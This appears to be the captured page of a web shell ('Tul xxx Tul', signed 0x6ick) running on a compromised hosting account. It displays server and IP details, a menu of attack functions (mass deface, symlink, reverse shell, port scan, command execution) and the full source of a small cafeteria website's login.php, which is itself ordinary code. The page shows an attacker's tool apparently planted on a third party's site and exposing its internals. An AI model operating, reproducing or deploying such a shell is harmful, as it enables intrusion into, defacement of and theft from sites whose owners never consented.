Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
cafeteria
/
Viewing: login.php
<?php require_once __DIR__ . '/includes/functions.php'; if (is_logged_in()) { redirect('admin/dashboard.php'); } $username = ''; $errors = []; if (is_post()) { $username = trim($_POST['email'] ?? ''); $password = (string) ($_POST['password'] ?? ''); $csrfToken = $_POST['csrf_token'] ?? null; if (!validate_csrf_token($csrfToken)) { $errors[] = 'La sesión expiró. Vuelve a intentarlo.'; } if ($username === '' || $password === '') { $errors[] = 'Completa todos los campos.'; } if (!$errors) { $stmt = db()->prepare('SELECT * FROM users WHERE email = ? LIMIT 1'); $stmt->execute([$username]); $user = $stmt->fetch(); if ($user && password_verify($password, $user['password_hash'])) { login_user($user); add_flash('success', '¡Bienvenido de nuevo!'); redirect('admin/dashboard.php'); } else { $errors[] = 'Credenciales incorrectas.'; } } } $token = ensure_csrf_token(); $flashes = render_flash_messages(); ?> <!doctype html> <html lang="es"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Iniciar Sesión | Casanova</title> <link rel="icon" type="image/png" href="images/coffee-beans.png"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@300;400;600;700&display=swap" rel="stylesheet"> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/bootstrap-icons.css" rel="stylesheet"> <link href="css/tooplate-barista.css" rel="stylesheet"> <style> body { min-height: 100vh; display: flex; align-items: center; justify-content: center; background: linear-gradient(135deg, rgba(47,37,29,0.95), rgba(94,76,63,0.95)), url('images/3.jpg') center/cover fixed; color: #fff; } .login-card { background: rgba(0, 0, 0, 0.65); backdrop-filter: blur(10px); border-radius: 24px; padding: 2.5rem; width: min(420px, 92vw); box-shadow: 0 20px 45px rgba(0,0,0,0.3); } .login-card .form-control { background: rgba(255,255,255,0.1); border: 1px solid rgba(255,255,255,0.2); color: #fff; } .login-card .form-control:focus { color: #000; background: #fff; } .password-toggle { position: relative; } .password-toggle .toggle-password-btn { position: absolute; top: 50%; right: 1rem; transform: translateY(-50%); background: transparent; border: none; color: #000; cursor: pointer; padding: 0; } .password-toggle .toggle-password-btn:focus { outline: none; } .btn-login { background: #ffcc66; border: none; color: #372619; font-weight: 700; padding: 0.75rem; border-radius: 999px; transition: transform 0.2s ease; } .btn-login:hover { transform: translateY(-2px); } .logo-circle { width: 72px; height: 72px; background: rgba(255,255,255,0.08); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 1rem; } </style> </head> <body> <div class="login-card"> <div class="text-center mb-4"> <div class="logo-circle"> <img src="images/coffee-beans.png" alt="Casanova" width="42" height="42"> </div> <h1 class="h3 fw-bold">Casanova</h1> </div> <?php foreach ($flashes as $flash): ?> <div class="alert alert-<?= html_escape($flash['type']); ?> alert-dismissible fade show" role="alert"> <?= html_escape($flash['message']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endforeach; ?> <?php if ($errors): ?> <div class="alert alert-danger"> <?php foreach ($errors as $error): ?> <div><?= html_escape($error); ?></div> <?php endforeach; ?> </div> <?php endif; ?> <form method="post" novalidate> <input type="hidden" name="csrf_token" value="<?= html_escape($token); ?>"> <div class="mb-3"> <label for="email" class="form-label">Usuario / Correo electrónico</label> <input type="email" class="form-control" id="email" name="email" value="<?= html_escape($username); ?>" required autofocus> </div> <div class="mb-4"> <label for="password" class="form-label">Contraseña</label> <div class="password-toggle"> <input type="password" class="form-control pe-5" id="password" name="password" required> <button type="button" class="toggle-password-btn" aria-label="Mostrar contraseña" data-target="password"> <i class="bi bi-eye-slash" aria-hidden="true"></i> </button> </div> </div> <button class="btn btn-login w-100" type="submit">Iniciar Sesión</button> </form> <p class="text-center mt-4 mb-0 text-white-50"> <a href="<?= url(); ?>" class="text-white-50 text-decoration-none">← Volver al sitio</a> </p> </div> <script src="js/bootstrap.min.js"></script> <script> document.querySelectorAll('.toggle-password-btn').forEach(function(button) { button.addEventListener('click', function() { const input = document.getElementById(this.dataset.target); const isPassword = input.getAttribute('type') === 'password'; input.setAttribute('type', isPassword ? 'text' : 'password'); this.setAttribute('aria-label', isPassword ? 'Ocultar contraseña' : 'Mostrar contraseña'); this.innerHTML = isPassword ? '<i class="bi bi-eye" aria-hidden="true"></i>' : '<i class="bi bi-eye-slash" aria-hidden="true"></i>'; }); }); </script> </body> </html>
Coded With 💗 by
0x6ick